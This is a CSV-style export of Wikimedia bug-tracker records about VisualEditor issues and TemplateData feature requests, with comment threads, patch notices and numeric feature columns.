250942,Generic first edit tour,In progress at https://gerrit.wikimedia.org/r/#/c/64981/,,,1374012685,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-unahzezsufzzdb4k4beo,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,1.0,In progress at URL
53454,VisualEditor: blocked-notice-logextract doesn't appear when editing user pages of blocked users with VE,"When editing the user page of a blocked user, some messages appear at the top of the page, for example blocked-notice-logextract.

They don't appear when editing with the VisualEditor.

Compare:

Good: https://en.wikipedia.org/w/index.php?title=User:SEAROSE8&action=edit

Bad: https://en.wikipedia.org/wiki/User:SEAROSE8?veaction=edit

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52004",Medium,50.0,1373998440,1395874791.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-g24bxdialbz5a5bcp4qb,task_description,resolved,True,c1,3,False,False,False,2,,1.0,0.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,17.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,6.0,3.0,0.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,3.0,0.0,0.0,0.0,3.5256410256410255,0.5256410256410257,"When editing the user page of a blocked user, some messages appear at the top of the page, for example blocked-notice-logextract.

They don't appear when editing with the VisualEditor.

Compare:

Good: URL

Bad: URL

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
249218,VisualEditor: blocked-notice-logextract doesn't appear when editing user pages of blocked users with VE,"Change 121232 merged by jenkins-bot:
Possibly show blocked-notice-logextract or userpage-userdoesnotexist when editing a user page

https://gerrit.wikimedia.org/r/121232",,,1395869325,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-g24bxdialbz5a5bcp4qb,task_subcomment,,True,c1,3,False,,,38,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,11.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,4.777777777777778,0.8888888888888888,"Change 121232 merged by jenkins-bot:
Possibly show blocked-notice-logextract or userpage-userdoesnotexist when editing a user page

GERRIT_URL"
249213,VisualEditor: blocked-notice-logextract doesn't appear when editing user pages of blocked users with VE,"Change 121232 had a related patch set uploaded by Alex Monk:
Possibly show blocked-notice-logextract or userpage-userdoesnotexist when editing a user page

https://gerrit.wikimedia.org/r/121232",,,1395866992,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-g24bxdialbz5a5bcp4qb,task_subcomment,,True,c1,3,False,,,38,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,16.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,0.0,0.0,4.741935483870968,0.9032258064516129,"Change 121232 had a related patch set uploaded by Alex Monk:
Possibly show blocked-notice-logextract or userpage-userdoesnotexist when editing a user page

GERRIT_URL"
53450,VisualEditor: Page text sometimes pops up through the Media insertion dialog,"At unpredictable points, bits of the text from the underlying article sometimes show up on top of the Media search box. See attached video for an example.

--------------------------
**Version**: unspecified
**Severity**: minor
**OS**: Linux
**Platform**: PC",Medium,50.0,1373995560,1437781075.0,PHID-USER-nyv6rqxnzdy3oe323a3d,False,PHID-USER-vixhpqcaqfpdj6impfwy,True,PHID-TASK-kg4p7wmv7m2n5tdejrm4,task_description,resolved,True,c1,3,False,False,False,2,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,14.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.5625,0.609375,"At unpredictable points, bits of the text from the underlying article sometimes show up on top of the Media search box. See attached video for an example.

--------------------------
**Version**: unspecified
**Severity**: minor
**OS**: Linux
**Platform**: PC"
496792,VisualEditor: Page text sometimes pops up through the Media insertion dialog,I'm guessing this is fixed by now. Reopen if you can still reproduce.,,,1437781075,,PHID-USER-vixhpqcaqfpdj6impfwy,False,,,PHID-TASK-kg4p7wmv7m2n5tdejrm4,task_subcomment,,True,c1,3,True,,,107,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,12.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.5625,0.9375,I'm guessing this is fixed by now. Reopen if you can still reproduce.
249021,VisualEditor: Page text sometimes pops up through the Media insertion dialog,"Upload failed, so see the video here: https://commons.wikimedia.org/wiki/File:Screen_recording_of_text-over-Media_bug_in_VisualEditor.ogv",,,1373995771,,PHID-USER-nyv6rqxnzdy3oe323a3d,False,,,PHID-TASK-kg4p7wmv7m2n5tdejrm4,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4,1.0,"Upload failed, so see the video here: URL"
53436,Template search results list should contain each template's descripton,"**Author:** `turingt`

**Description:**
See this feedback trhead: [ https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Observation_-_Template_Editor_behavior_improved ]

The search results for parameters include each parameter's description, making it easy to select the right one. 

But the templates list result contains only the template name, even though the template description is available (it's shown right 'after' a template is selected, so it doesn't help in choosing the right template).

So, add the template description to the search results list.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51774",Medium,50.0,1373980800,1429285347.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-3es7m4cbr63gg2w4l5or,task_description,resolved,True,c1,3,False,False,False,2,,0.5,0.0,0.0,1.0,1.0,4.0,0.5,0.0,0.5,0.0,1.0,2.5,0.0,0.5,0.0,0.0,0.0,4.0,4.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,2.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.5,0.0,0.5,0.0,0.0,0.0,14.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.5,1.5,8.5,1.5,0.5,6.5,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,2.0,4.5,1.0,0.0,1.5,0.0,2.0,0.0,0.0,1.0,0.0,1.5,0.0,0.0,0.0,3.8406498015873014,0.6765873015873016,"**Author:** CODE

**Description:**
See this feedback trhead: [ URL ]

The search results for parameters include each parameter's description, making it easy to select the right one. 

But the templates list result contains only the template name, even though the template description is available (it's shown right 'after' a template is selected, so it doesn't help in choosing the right template).

So, add the template description to the search results list.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
446690,Template search results list should contain each template's descripton,Verified the fix in Betalabs,,,1429568922,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-3es7m4cbr63gg2w4l5or,task_subcomment,,True,c1,3,False,,,94,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,40.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.8,1.0,Verified the fix in Betalabs
445180,Template search results list should contain each template's descripton,"Change 203459 merged by jenkins-bot:
Show template description in the template search

[[https://gerrit.wikimedia.org/r/203459]]",,,1429262905,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3es7m4cbr63gg2w4l5or,task_subcomment,,True,c1,3,False,,,93,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.136363636363637,0.8636363636363636,"Change 203459 merged by jenkins-bot:
Show template description in the template search

[[GERRIT_URL]]"
442168,Template search results list should contain each template's descripton,"Change 203459 had a related patch set uploaded (by Mooeypoo):
Show template description in the template search

[[https://gerrit.wikimedia.org/r/203459]]
",,,1428697842,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3es7m4cbr63gg2w4l5or,task_subcomment,,True,c1,3,False,,,92,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,15.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.148148148148148,0.8518518518518519,"Change 203459 had a related patch set uploaded (by Mooeypoo):
Show template description in the template search

[[GERRIT_URL]]
"
248115,Template search results list should contain each template's descripton,"Thanks for the explanation, I've now reported it as bug 51822.",,,1374511823,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-3es7m4cbr63gg2w4l5or,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,7.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,1.0,"Thanks for the explanation, I've now reported it as bug 51822."
248105,Template search results list should contain each template's descripton,"(In reply to comment #4)
> (In reply to comment #3)
> > > If I type ""book"", template ""Cite book"" is not shown, which limits the search
> > > functionality to be useful only for people who already know template names
> > > (i.e. those who don't need it).
> > 
> > That is a distinct enhancement request; please open a new bug for it.
> 
> Is it distinct or is it part of bug 51670?

It's distinct. This is asking for VisualEditor when searching pages (for links), categories (for the category dialog) and templates (for the transclusion dialog) to use an entirely different (and slower) part of MediaWiki's search infrastructure so we can do in-string searching rather than left-string completion.",,,1374509714,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3es7m4cbr63gg2w4l5or,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,1.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,2.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,15.0,2.0,2.0,5.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,2.0,13.0,9.0,0.0,0.0,0.0,2.0,0.0,1.0,1.0,0.0,3.0,1.0,0.0,0.0,3.9080459770114944,0.6091954022988506,"(In reply to comment #4)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

It's distinct. This is asking for VisualEditor when searching pages (for links), categories (for the category dialog) and templates (for the transclusion dialog) to use an entirely different (and slower) part of MediaWiki's search infrastructure so we can do in-string searching rather than left-string completion."
248098,Template search results list should contain each template's descripton,"(In reply to comment #3)
> > If I type ""book"", template ""Cite book"" is not shown, which limits the search
> > functionality to be useful only for people who already know template names
> > (i.e. those who don't need it).
> 
> That is a distinct enhancement request; please open a new bug for it.

Is it distinct or is it part of bug 51670?",,,1374508615,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-3es7m4cbr63gg2w4l5or,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,23.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,7.0,0.0,7.0,10.0,10.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8333333333333335,0.7,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Is it distinct or is it part of bug 51670?"
248091,Template search results list should contain each template's descripton,"(In reply to comment #2)
> Also typing a word only shows template names starting with that word, not
> containing it, which is a weird search behavior.
> 
> If I type ""book"", template ""Cite book"" is not shown, which limits the search
> functionality to be useful only for people who already know template names
> (i.e. those who don't need it).

That is a distinct enhancement request; please open a new bug for it.",,,1374507636,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3es7m4cbr63gg2w4l5or,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,22.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,6.0,3.0,3.0,0.0,3.0,8.0,11.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.1944444444444446,0.6944444444444444,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

That is a distinct enhancement request; please open a new bug for it."
248087,Template search results list should contain each template's descripton,"**turingt** wrote:

Also typing a word only shows template names starting with that word, not containing it, which is a weird search behavior.

If I type ""book"", template ""Cite book"" is not shown, which limits the search functionality to be useful only for people who already know template names (i.e. those who don't need it).",,,1374502086,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-3es7m4cbr63gg2w4l5or,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,1.0,4.0,3.0,3.0,0.0,0.0,1.0,1.0,1.0,0.0,3.0,0.0,1.0,1.0,9.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,9.0,4.0,3.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,19.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,4.0,4.0,5.0,1.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.0,5.0,1.0,0.0,5.0,0.0,4.0,0.0,5.0,3.0,0.0,4.0,0.0,0.0,1.0,3.6666666666666665,0.68,"**turingt** wrote:

Also typing a word only shows template names starting with that word, not containing it, which is a weird search behavior.

If I type ""book"", template ""Cite book"" is not shown, which limits the search functionality to be useful only for people who already know template names (i.e. those who don't need it)."
248083,Template search results list should contain each template's descripton,"Also typing in 'new' into the New template box returns a list of 10 templates starting with 'new', with no way to scroll through the longer list of templates starting/containing with 'New'

https://en.wikipedia.org/wiki/Special:PrefixIndex/Template:New

More practical, 'New Zealand' or 'New York' only returns 10, and the user may not know the right keyword needed to return better results.",,,1374462543,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-3es7m4cbr63gg2w4l5or,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,1.0,8.0,0.0,0.0,0.0,0.0,1.0,13.0,0.0,1.0,0.0,0.0,1.0,5.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,7.0,0.0,12.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,3.0,0.0,0.0,13.0,8.0,0.0,13.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,4.0,0.0,0.0,3.7066666666666666,0.6266666666666667,"Also typing in 'new' into the New template box returns a list of 10 templates starting with 'new', with no way to scroll through the longer list of templates starting/containing with 'New'

URL

More practical, 'New Zealand' or 'New York' only returns 10, and the user may not know the right keyword needed to return better results."
53428,"TemplateData: Add an ""autofill"" attribute for parameters which clients would automatically insert if none specified","In addition to the existing ""default"" attribute for each template parameter, that would be useful to have an ""autofill"" attribute for each template parameter:
* ""default"" is the value that will be used by the template if the parameter is not specified
* ""autofill"" could be used for indicating that when inserting a template in a article with VE (or other editor), some parameters should be created automatically with a given value.

I think for example of some templates that have a date parameter to be filled with the date at which the template was inserted.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1373959860,1411171613.0,PHID-USER-o34e5i3eq4nstbvcf26w,False,,False,PHID-TASK-t4nrv75pjo2r4cxn47di,task_description,resolved,True,c1,3,False,False,False,2,,2.5,0.0,0.0,4.0,0.5,2.0,1.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,1.0,0.5,2.0,10.5,0.0,1.5,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.5,1.0,0.0,2.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.5,0.5,0.0,1.5,0.5,15.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,1.5,0.0,7.0,5.0,3.5,1.5,1.0,10.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,1.0,10.5,1.0,0.0,4.0,0.0,1.0,0.0,3.0,3.5,0.0,1.5,0.0,0.0,0.0,4.136363636363637,0.6287878787878788,"In addition to the existing ""default"" attribute for each template parameter, that would be useful to have an ""autofill"" attribute for each template parameter:
* ""default"" is the value that will be used by the template if the parameter is not specified
* ""autofill"" could be used for indicating that when inserting a template in a article with VE (or other editor), some parameters should be created automatically with a given value.

I think for example of some templates that have a date parameter to be filled with the date at which the template was inserted.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
247675,"TemplateData: Add an ""autofill"" attribute for parameters which clients would automatically insert if none specified","Change 157820 merged by jenkins-bot:
Implement new 'autovalue' parameter property

https://gerrit.wikimedia.org/r/157820",,,1411169862,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-t4nrv75pjo2r4cxn47di,task_subcomment,,True,c1,3,False,,,63,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.722222222222222,0.9444444444444444,"Change 157820 merged by jenkins-bot:
Implement new 'autovalue' parameter property

GERRIT_URL"
247672,"TemplateData: Add an ""autofill"" attribute for parameters which clients would automatically insert if none specified","Change 157820 had a related patch set uploaded by Jforrester:
Implement new 'autovalue' parameter property

https://gerrit.wikimedia.org/r/157820",,,1409939258,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-t4nrv75pjo2r4cxn47di,task_subcomment,,True,c1,3,False,,,61,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.9523809523809523,"Change 157820 had a related patch set uploaded by Jforrester:
Implement new 'autovalue' parameter property

GERRIT_URL"
247666,"TemplateData: Add an ""autofill"" attribute for parameters which clients would automatically insert if none specified","This is generally worked around by wikis by providing another template that when substituted inserts the autofill parameters.

e.g.

{{subst:newdelete|reason=Foo}}
-> 
{{delete|reason=Foo|date=YYYY-MM-DD}}

These templates need a ""must-subst"" property of sorts in template data first (bug 65550), but that would make this easier already.

The subst-behaviour is a super set of the scope of this bug (autofill values), however it may be enough.

The problem with a declarative autofill (as opposed to substituting a wrapper template) is that you'd need a fair amount of logic to express what you want to be filled in. Obviously you don't just want a literal string to be inserted, because then you'd just have users omit it and use that value as the default value.

With autofill you most probably want a dynamic value (e.g. the result of invoking a template, or magic words like current date/times, current revision user, base page name etc. Some of these (like date) could be trivially done, but that still leaves a lot of questions (how to specify the date etc.) and compatibility.

So I'd say let's solve bug 65550 first and see how that unfolds. If we still feel a need for this we can revisit it later.

This should additionally be helpful since subst-ing is that wikis do now without VisualEditor so they likely have that in place already and will want to keep that for wikitext users.",,,1400616978,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-t4nrv75pjo2r4cxn47di,task_subcomment,,True,c1,3,True,,,46,,0.25,0.0,0.0,1.0,0.25,2.75,1.5,0.25,0.0,0.25,2.0,1.0,0.0,0.0,0.0,1.0,0.25,7.25,9.5,0.0,1.5,0.5,0.25,0.0,0.0,0.0,0.0,0.25,0.75,1.5,0.0,3.75,0.75,0.75,0.25,1.25,0.0,0.0,0.25,0.0,0.0,0.25,0.75,0.75,0.25,0.5,0.0,0.25,0.0,14.5,1.5,2.75,0.0,1.0,0.0,0.0,0.0,0.0,0.25,0.0,0.75,1.25,0.0,0.0,0.0,0.0,0.25,4.5,2.5,4.75,3.0,2.0,8.5,0.0,0.0,0.0,0.0,5.75,0.0,0.5,0.0,3.75,9.5,2.75,0.0,0.5,0.0,3.75,0.0,1.0,2.5,0.0,0.75,0.25,0.25,1.0,3.8235218728639784,0.7616626794258373,"This is generally worked around by wikis by providing another template that when substituted inserts the autofill parameters.

e.g.

{{subst:newdelete|reason=Foo}}
-> 
{{delete|reason=Foo|date=YYYY-MM-DD}}

These templates need a ""must-subst"" property of sorts in template data first (bug 65550), but that would make this easier already.

The subst-behaviour is a super set of the scope of this bug (autofill values), however it may be enough.

The problem with a declarative autofill (as opposed to substituting a wrapper template) is that you'd need a fair amount of logic to express what you want to be filled in. Obviously you don't just want a literal string to be inserted, because then you'd just have users omit it and use that value as the default value.

